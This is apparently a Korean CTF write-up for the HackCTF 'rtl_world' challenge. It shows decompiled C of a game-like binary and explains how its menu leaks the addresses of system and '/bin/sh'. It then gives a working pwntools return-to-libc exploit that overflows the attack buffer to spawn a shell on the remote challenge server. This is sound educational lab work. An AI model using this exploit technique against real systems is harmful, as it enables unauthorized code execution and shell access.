-
[hackctf] rtl_worldhackctf 2021. 8. 9. 20:32

checksec 결과 문제 파일에는 nx bit 보호기법이 걸려 있습니다.
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(handle); for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 ) ; puts("\n\nNPC [Village Presient] : "); puts("Binary Boss made our village fall into disuse..."); puts("If you Have System Armor && Shell Sword."); puts("You can kill the Binary Boss..."); puts("Help me Pwnable Hero... :(\n"); printf("Your Gold : %d\n", gold); while ( 1 ) { Menu(); printf(">>> "); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 0: continue; case 1: system("clear"); puts("[Binary Boss]\n"); puts("Arch: i386-32-little"); puts("RELRO: Partial RELRO"); puts("Stack: No canary found"); puts("NX: NX enabled"); puts("PIE: No PIE (0x8048000)"); puts("ASLR: Enable"); printf("Binary Boss live in %p\n", handle); puts("Binart Boss HP is 140 + Armor + 4\n"); break; case 2: Get_Money(gold); break; case 3: if ( gold <= 1999 ) { puts("You don't have gold... :("); } else { gold -= 1999; printf("System Armor : %p\n", v6); } break; case 4: if ( gold <= 2999 ) { puts("You don't have gold... :("); } else { gold -= 2999; printf("Shell Sword : %p\n", s1); } break; case 5: printf("[Attack] > "); read(0, &buf, 0x400u); return 0; case 6: puts("Your Not Hero... Bye..."); exit(0); return result; } } }코드를 확인해보니 사용자로부터 입력 값을 받아서 switch case 문을 통해 각각 정해진 동작을 합니다.
switch case문을 확인해보니 3을 입력하고 해당 조건을 맞춰주면 /bin/sh 문자열의 주소를 알아낼 수 있고, 4를 입력하고 조건문을 통과하면 system 함수의 주소를 알 수 있습니다.
그리고 case 5번에서 buffer oveflow 취약점이 발생하여 rtl 기법을 사용하여 exploit 할 수 있을 것으로 보입니다.
우선 system 함수의 주소와 /bin/sh 문자열의 주소를 알기 위해선 gold가 5000 정도 있어야 합니다.
gold는 case 2번에서 Get_Money 함수를 사용하여 얻을 수 있을 것으로 보입니다.
int Get_Money() { int result; // eax int v1; // [esp+8h] [ebp-Ch] int v2; // [esp+Ch] [ebp-8h] int v3; // [esp+10h] [ebp-4h] puts("\nThis world is F*cking JabonJui"); puts("1) Farming..."); puts("2) Item selling..."); puts("3) Hunting..."); v3 = 0; v2 = rand(); printf("(Job)>>> "); __isoc99_scanf("%d", &v1); result = v1; if ( v1 == 2 ) { puts("\nItem selling..."); while ( v3 <= 350 ) ++v3; puts("+ 350 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } else if ( v1 > 2 ) { if ( v1 == 3 ) { puts("\nHunting..."); while ( v3 <= 500 ) ++v3; puts("+ 500 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } else if ( v1 == 4 ) { puts("\nWow! you can find Hidden number!"); puts("Life is Just a One Shot..."); puts("Gambling..."); printf("+ %d Gold\n", v2); gold += v2; result = printf("\nYour Gold is %d\n", gold); } } else if ( v1 == 1 ) { puts("\nFarming..."); while ( v3 <= 100 ) ++v3; puts("+ 100 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } return result; }Get_Money 함수를 확인해보니 사용자로부터 입력값을 받아서 각각 다른 값의 gold를 얻어올 수 있습니다. 이를 활용하여 gold를 획득하고 system 함수의 주소와 /bin/sh 문자열의 주소를 알아내서 exploit 하면 될 것 같습니다.
exploit code
from pwn import * context.log_level='DEBUG' p = remote("ctf.j0n9hyun.xyz", 3010) #p = process("./rtl_world") #gdb.attach(p) for i in range(8): p.recvuntil(">>>") p.sendline("2") p.recvuntil("(Job)>>>") p.sendline("3") p.sendline("3") p.recvuntil("System Armor : ") system_addr = int(p.recv(10), 0) print system_addr system_addr = p32(system_addr) p.recvuntil(">>>") p.sendline("4") p.recvuntil("Shell Sword : ") binsh_addr = int(p.recv(10), 0) print binsh_addr binsh_addr = p32(binsh_addr) payload = "" payload += "A" * 0x90 payload += system_addr payload += "A" * 4 payload += binsh_addr p.recvuntil(">>>") p.sendline("5") p.recvuntil("[Attack] > ") p.sendline(payload) p.interactive()위 exploit 코드를 사용하여 flag 값을 획득할 수 있었습니다.

'hackctf' 카테고리의 다른 글
[hackctf] rtlcore 풀이 (0) 2021.09.08 [hackctf] g++pwn 풀이 (0) 2021.08.12 [hackctf] yes_or_no (0) 2021.07.29 [hackctf] rtc (0) 2021.07.26